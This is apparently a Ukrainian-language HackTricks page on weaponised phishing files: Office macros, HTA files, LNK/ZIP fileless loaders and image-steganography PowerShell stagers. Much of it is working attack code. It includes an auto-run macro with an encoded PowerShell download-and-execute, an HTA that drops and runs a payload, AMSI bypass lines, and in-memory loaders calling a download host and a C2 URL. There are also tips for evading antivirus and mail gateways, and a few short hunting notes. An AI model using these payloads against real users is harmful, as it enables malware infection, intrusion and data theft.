Phishing Файли та Документи
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Документи Office
Microsoft Word виконує валідацію даних файлу перед його відкриттям. Валідація даних проводиться у вигляді ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає будь-яка помилка, файл, що аналізується, не буде відкритий.
Зазвичай файли Word, що містять макроси, використовують розширення .docm
. Проте можна перейменувати файл, змінивши розширення, і при цьому зберегти здатність макросів виконуватися.
Наприклад, RTF файл за задумом не підтримує макроси, але DOCM файл, перейменований у RTF, буде оброблений Microsoft Word і зможе виконувати макроси.
Ті самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint etc.).
Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими програмами Office:
assoc | findstr /i "word excel powerp"
Файли DOCX, які посилаються на віддалений шаблон (File –Options –Add-ins –Manage: Templates –Go), що містить macros, також можуть «виконувати» ці macros.
Завантаження зовнішнього зображення
Перейдіть до: Insert --> Quick Parts --> Field
Категорії: Links and References, Імена полів: includePicture, та Ім'я файлу або URL: http://
Backdoor через macros
Можна використовувати macros для запуску довільного коду з документа.
Функції автозавантаження
Чим частіше вони використовуються, тим імовірніше AV їх виявить.
- AutoOpen()
- Document_Open()
Приклади коду macros
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Ручне видалення метаданих
Перейдіть до File > Info > Inspect Document > Inspect Document, що відкриє Document Inspector. Натисніть Inspect, а потім Remove All поряд із Document Properties and Personal Information.
Doc Extension
Після завершення виберіть випадаюче меню Save as type, змініть формат з .docx
на Word 97-2003 .doc
.
Робіть це, тому що ви can't save macro's inside a .docx
і навколо macro-enabled .docm
розширення існує певна стигма (наприклад, іконка мініатюри має великий !
, і деякі веб/поштові шлюзи повністю їх блокують). Тому це legacy .doc
extension — найкращий компроміс.
Malicious Macros Generators
HTA Files
HTA — це програма для Windows, яка поєднує HTML та скриптові мови (such as VBScript and JScript). Вона генерує інтерфейс користувача та виконується як "fully trusted" додаток, без обмежень моделі безпеки браузера.
HTA запускається за допомогою mshta.exe
, який зазвичай installed разом із Internet Explorer, через що mshta
dependant on IE. Тож якщо його було видалено, HTA не зможуть виконуватися.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Примусова NTLM-аутентифікація
Існує кілька способів примусити NTLM-аутентифікацію «віддалено», наприклад, ви можете додати невидимі зображення в електронні листи або HTML, до яких користувач отримає доступ (навіть HTTP MitM?). Або надіслати жертві адресу файлів, яка спровокує аутентифікацію просто при відкритті папки.
Перегляньте ці ідеї та інше на наступних сторінках:
Force NTLM Privileged Authentication
NTLM Relay
Не забувайте, що ви можете не лише вкрасти хеш або аутентифікацію, але й виконувати NTLM relay attacks:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Дуже ефективні кампанії доставляють ZIP, який містить два легітимні підставні документи (PDF/DOCX) та шкідливий .lnk. Хитрість у тому, що фактичний PowerShell loader зберігається всередині сирих байтів ZIP після унікального маркера, а .lnk витягує його й запускає повністю в пам'яті.
Типовий потік, реалізований .lnk PowerShell one-liner:
- Знайти оригінальний ZIP у звичних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData% та батьківській папці поточної робочої директорії.
- Прочитати байти ZIP і знайти захардкоджений маркер (наприклад, xFIQCV). Усе після маркера — це вбудований PowerShell payload.
- Скопіювати ZIP до %ProgramData%, розпакувати там, і відкрити підставний .docx, щоб виглядати легітимно.
- Обійти AMSI для поточного процесу: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Розобфускувати наступний етап (наприклад, видалити всі символи #) та виконати його в пам'яті.
Приклад PowerShell-шаблону для вирізання та запуску вбудованого етапу:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Notes
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
Persistence, який використовується в тому ж ланцюгу
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
Hunting/IOCs
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Long-running business threads ending with links hosted under trusted PaaS domains.
Steganography-delimited payloads in images (PowerShell stager)
Recent loader chains deliver an obfuscated JavaScript/VBS that decodes and runs a Base64 PowerShell stager. That stager downloads an image (often GIF) that contains a Base64-encoded .NET DLL hidden as plain text between unique start/end markers. The script searches for these delimiters (examples seen in the wild: «<<sudo_png>> … <<sudo_odt>>>»), extracts the between-text, Base64-decodes it to bytes, loads the assembly in-memory and invokes a known entry method with the C2 URL.
Workflow
- Stage 1: Archived JS/VBS dropper → decodes embedded Base64 → launches PowerShell stager with -nop -w hidden -ep bypass.
- Stage 2: PowerShell stager → downloads image, carves marker-delimited Base64, loads the .NET DLL in-memory and calls its method (e.g., VAI) passing the C2 URL and options.
- Stage 3: Loader retrieves final payload and typically injects it via process hollowing into a trusted binary (commonly MSBuild.exe). See more about process hollowing and trusted utility proxy execution here:
PowerShell example to carve a DLL from an image and invoke a .NET method in-memory:
Екстрактор і loader payload для PowerShell stego
# Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory
param(
[string]$Url = 'https://example.com/payload.gif',
[string]$StartM = '<<sudo_png>>',
[string]$EndM = '<<sudo_odt>>',
[string]$EntryType = 'Loader',
[string]$EntryMeth = 'VAI',
[string]$C2 = 'https://c2.example/payload'
)
$img = (New-Object Net.WebClient).DownloadString($Url)
$start = $img.IndexOf($StartM)
$end = $img.IndexOf($EndM)
if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' }
$b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length))
$bytes = [Convert]::FromBase64String($b64)
$asm = [Reflection.Assembly]::Load($bytes)
$type = $asm.GetType($EntryType)
$method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic')
$null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE))
Зауваги
- Це ATT&CK T1027.003 (steganography/marker-hiding). Маркери відрізняються між кампаніями.
- AMSI/ETW bypass та string deobfuscation зазвичай застосовуються перед завантаженням assembly.
- Hunting: скануйте завантажені зображення на наявність відомих роздільників; виявляйте PowerShell, що звертається до зображень і негайно декодує Base64 blobs.
See also stego tools and carving techniques:
JS/VBS droppers → Base64 PowerShell staging
Початковий повторюваний етап — невеликий, сильно обфусцований .js
або .vbs
, доставлений всередині архіву. Його єдина мета — декодувати вбудований Base64 рядок і запустити PowerShell з -nop -w hidden -ep bypass
, щоб ініціювати наступний етап через HTTPS.
Скелет логіки (абстрактно):
- Зчитати вміст свого файлу
- Знайти Base64 blob між junk-рядками
- Декодувати у ASCII PowerShell
- Виконати через
wscript.exe
/cscript.exe
, що викликаютьpowershell.exe
Підказки для пошуку
- Архівні JS/VBS вкладення, що запускають
powershell.exe
з-enc
/FromBase64String
у командному рядку. wscript.exe
, який запускаєpowershell.exe -nop -w hidden
з тимчасових каталогів користувача.
Windows files to steal NTLM hashes
Перегляньте сторінку про places to steal NTLM creds:
References
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Steganography (T1027.003)
- MITRE ATT&CK – Process Hollowing (T1055.012)
- MITRE ATT&CK – Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.